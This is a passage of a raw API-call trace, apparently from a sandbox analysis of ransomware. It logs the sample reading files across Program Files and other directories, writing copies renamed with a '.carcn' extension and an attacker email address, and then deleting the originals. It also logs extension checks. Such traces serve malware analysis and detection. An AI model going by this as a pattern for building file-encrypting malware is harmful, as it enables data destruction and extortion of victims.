Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0184.491] lstrlenW (lpString=".1cd") returned 4 [0184.491] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0184.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0184.491] lstrlenW (lpString=".jpg") returned 4 [0184.491] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0184.492] lstrcmpiW (lpString1=".GIF", lpString2=".carcn") returned 1 [0184.492] lstrlenW (lpString="AG00129_.GIF") returned 12 [0184.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0184.492] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=12482) returned 1 [0184.492] CloseHandle (hObject=0x360) returned 1 [0184.492] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif")) returned 0x220 [0184.492] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0184.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0184.492] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0184.492] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0184.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0184.493] GetLastError () returned 0x0 [0184.493] ReadFile (in: hFile=0x360, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x30c2, lpOverlapped=0x0) returned 1 [0184.501] WriteFile (in: hFile=0x31c, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0x30d0, lpOverlapped=0x0) returned 1 [0184.502] ReadFile (in: hFile=0x360, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0184.502] WriteFile (in: hFile=0x31c, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0xec, lpOverlapped=0x0) returned 1 [0184.502] SetEndOfFile (hFile=0x31c) returned 1 [0184.502] CloseHandle (hObject=0x31c) returned 1 [0184.503] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0184.503] SetEndOfFile (hFile=0x360) returned 1 [0184.504] CloseHandle (hObject=0x360) returned 1 [0184.504] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0184.504] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif")) returned 1 [0184.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0184.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0184.505] lstrlenW (lpString=".doc") returned 4 [0184.505] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0184.505] lstrlenW (lpString=".docx") returned 5 [0184.505] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0184.505] lstrlenW (lpString=".pdf") returned 4 [0184.505] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0184.505] lstrlenW (lpString=".xls") returned 4 [0184.505] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0184.505] lstrlenW (lpString=".xlsx") returned 5 [0184.505] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0184.505] lstrlenW (lpString=".ppt") returned 4 [0184.505] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0184.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0184.505] lstrlenW (lpString=".zip") returned 4 [0184.505] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0184.505] lstrlenW (lpString=".rar") returned 4 [0184.505] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0184.505] lstrlenW (lpString=".bz2") returned 4 [0184.505] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0184.505] lstrlenW (lpString=".7z") returned 3 [0184.505] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0184.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0184.506] lstrlenW (lpString=".dbf") returned 4 [0184.506] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0184.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0184.506] lstrlenW (lpString=".1cd") returned 4 [0184.506] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0184.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0184.506] lstrlenW (lpString=".jpg") returned 4 [0184.506] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0184.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0184.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0184.506] lstrlenW (lpString=".doc") returned 4 [0184.506] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0184.506] lstrlenW (lpString=".docx") returned 5 [0184.506] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0184.506] lstrlenW (lpString=".pdf") returned 4 [0184.506] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0184.506] lstrlenW (lpString=".xls") returned 4 [0184.506] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0184.506] lstrlenW (lpString=".xlsx") returned 5 [0184.506] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0184.506] lstrlenW (lpString=".ppt") returned 4 [0184.506] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0184.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0184.506] lstrlenW (lpString=".zip") returned 4 [0184.506] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0184.506] lstrlenW (lpString=".rar") returned 4 [0184.507] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0184.507] lstrlenW (lpString=".bz2") returned 4 [0184.507] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0184.507] lstrlenW (lpString=".7z") returned 3 [0184.507] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0184.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0184.507] lstrlenW (lpString=".dbf") returned 4 [0184.507] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0184.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0184.507] lstrlenW (lpString=".1cd") returned 4 [0184.507] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0184.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0184.507] lstrlenW (lpString=".jpg") returned 4 [0184.507] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0184.507] lstrcmpiW (lpString1=".GIF", lpString2=".carcn") returned 1 [0184.507] lstrlenW (lpString="AG00135_.GIF") returned 12 [0184.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0184.510] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=2596) returned 1 [0184.510] CloseHandle (hObject=0x36c) returned 1 [0184.510] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif")) returned 0x220 [0184.510] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0184.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0184.511] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0184.511] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0184.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0184.512] GetLastError () returned 0x0 [0184.512] ReadFile (hFile=0x380, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0) Thread: id = 18 os_tid = 0x39c [0157.951] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10000) returned 0x3b61500 [0157.952] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10000) returned 0x3b71508 [0157.952] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7ecae0 [0157.952] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x6) returned 0x81d308 [0157.952] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7ecaf8 [0157.952] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x100000) returned 0x4019020 [0157.955] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7ecf48 [0157.955] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ecf48, Size=0x20) returned 0x7cec80 [0157.955] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7ed008 [0157.955] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ed008, Size=0x20) returned 0x7cea00 [0157.955] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0157.955] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0157.955] Wow64DisableWow64FsRedirection (in: OldValue=0x362ff50 | out: OldValue=0x362ff50*=0x0) returned 1 [0157.955] lstrlenW (lpString="kernel32.dll") returned 12 [0157.955] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7cec80 | out: hHeap=0x790000) returned 1 [0157.955] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0157.955] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7cea00 | out: hHeap=0x790000) returned 1 [0157.955] Sleep (dwMilliseconds=0x64) [0158.084] lstrcmpiW (lpString1=".log", lpString2=".carcn") returned 1 [0158.084] lstrlenW (lpString="PartnerSetupCompleteResult.log") returned 30 [0158.084] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0158.656] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=40) returned 1 [0158.656] CloseHandle (hObject=0x304) returned 1 [0158.656] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log")) returned 0x20 [0158.657] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0158.657] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0158.657] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.657] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.657] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0158.657] GetLastError () returned 0x0 [0158.657] ReadFile (in: hFile=0x304, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x28, lpOverlapped=0x0) returned 1 [0158.713] WriteFile (in: hFile=0x308, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0x30, lpOverlapped=0x0) returned 1 [0158.714] ReadFile (in: hFile=0x304, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.714] WriteFile (in: hFile=0x308, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0x110, lpOverlapped=0x0) returned 1 [0158.714] SetEndOfFile (hFile=0x308) returned 1 [0158.715] CloseHandle (hObject=0x308) returned 1 [0158.715] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.715] SetEndOfFile (hFile=0x304) returned 1 [0158.716] CloseHandle (hObject=0x304) returned 1 [0158.716] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0158.716] DeleteFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log")) returned 1 [0158.717] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0158.717] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0158.717] lstrlenW (lpString=".doc") returned 4 [0158.717] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0158.717] lstrlenW (lpString=".docx") returned 5 [0158.717] lstrcmpiW (lpString1=".docx", lpString2="t.log") returned -1 [0158.717] lstrlenW (lpString=".pdf") returned 4 [0158.717] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0158.717] lstrlenW (lpString=".xls") returned 4 [0158.717] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0158.717] lstrlenW (lpString=".xlsx") returned 5 [0158.717] lstrcmpiW (lpString1=".xlsx", lpString2="t.log") returned -1 [0158.717] lstrlenW (lpString=".ppt") returned 4 [0158.717] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0158.717] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0158.717] lstrlenW (lpString=".zip") returned 4 [0158.717] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0158.717] lstrlenW (lpString=".rar") returned 4 [0158.717] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0158.717] lstrlenW (lpString=".bz2") returned 4 [0158.717] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0158.717] lstrlenW (lpString=".7z") returned 3 [0158.717] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0158.717] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0158.717] lstrlenW (lpString=".dbf") returned 4 [0158.717] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0158.717] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0158.717] lstrlenW (lpString=".1cd") returned 4 [0158.717] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0158.717] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0158.717] lstrlenW (lpString=".jpg") returned 4 [0158.717] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0158.717] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0158.718] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0158.718] lstrlenW (lpString=".doc") returned 4 [0158.718] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0158.718] lstrlenW (lpString=".docx") returned 5 [0158.718] lstrcmpiW (lpString1=".docx", lpString2="t.log") returned -1 [0158.718] lstrlenW (lpString=".pdf") returned 4 [0158.718] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0158.718] lstrlenW (lpString=".xls") returned 4 [0158.718] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0158.718] lstrlenW (lpString=".xlsx") returned 5 [0158.718] lstrcmpiW (lpString1=".xlsx", lpString2="t.log") returned -1 [0158.718] lstrlenW (lpString=".ppt") returned 4 [0158.718] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0158.718] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0158.718] lstrlenW (lpString=".zip") returned 4 [0158.718] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0158.718] lstrlenW (lpString=".rar") returned 4 [0158.718] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0158.718] lstrlenW (lpString=".bz2") returned 4 [0158.718] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0158.718] lstrlenW (lpString=".7z") returned 3 [0158.718] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0158.718] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0158.718] lstrlenW (lpString=".dbf") returned 4 [0158.718] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0158.718] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0158.718] lstrlenW (lpString=".1cd") returned 4 [0158.718] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0158.718] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0158.718] lstrlenW (lpString=".jpg") returned 4 [0158.718] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0158.718] Sleep (dwMilliseconds=0x64) [0158.967] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0158.967] lstrlenW (lpString="LocalizedData.xml") returned 17 [0158.967] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0158.967] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=60816) returned 1 [0158.967] CloseHandle (hObject=0x310) returned 1 [0158.967] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml")) returned 0x80 [0158.967] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0158.967] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0158.968] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.968] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.968] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0158.968] GetLastError () returned 0x0 [0158.968] ReadFile (in: hFile=0x310, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0xed90, lpOverlapped=0x0) returned 1 [0159.162] WriteFile (in: hFile=0x314, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0xeda0, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0xeda0, lpOverlapped=0x0) returned 1 [0159.164] ReadFile (in: hFile=0x310, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.164] WriteFile (in: hFile=0x314, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0xf6, lpOverlapped=0x0) returned 1 [0159.164] SetEndOfFile (hFile=0x314) returned 1 [0159.164] CloseHandle (hObject=0x314) returned 1 [0159.165] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.166] SetEndOfFile (hFile=0x310) returned 1 [0159.166] CloseHandle (hObject=0x310) returned 1 [0159.167] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0159.167] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml")) returned 1 [0159.167] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0159.167] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0159.167] lstrlenW (lpString=".doc") returned 4 [0159.167] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0159.167] lstrlenW (lpString=".docx") returned 5 [0159.167] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0159.167] lstrlenW (lpString=".pdf") returned 4 [0159.167] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0159.167] lstrlenW (lpString=".xls") returned 4 [0159.167] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0159.167] lstrlenW (lpString=".xlsx") returned 5 [0159.167] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0159.167] lstrlenW (lpString=".ppt") returned 4 [0159.167] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0159.168] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0159.168] lstrlenW (lpString=".zip") returned 4 [0159.168] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0159.168] lstrlenW (lpString=".rar") returned 4 [0159.168] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0159.168] lstrlenW (lpString=".bz2") returned 4 [0159.168] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0159.168] lstrlenW 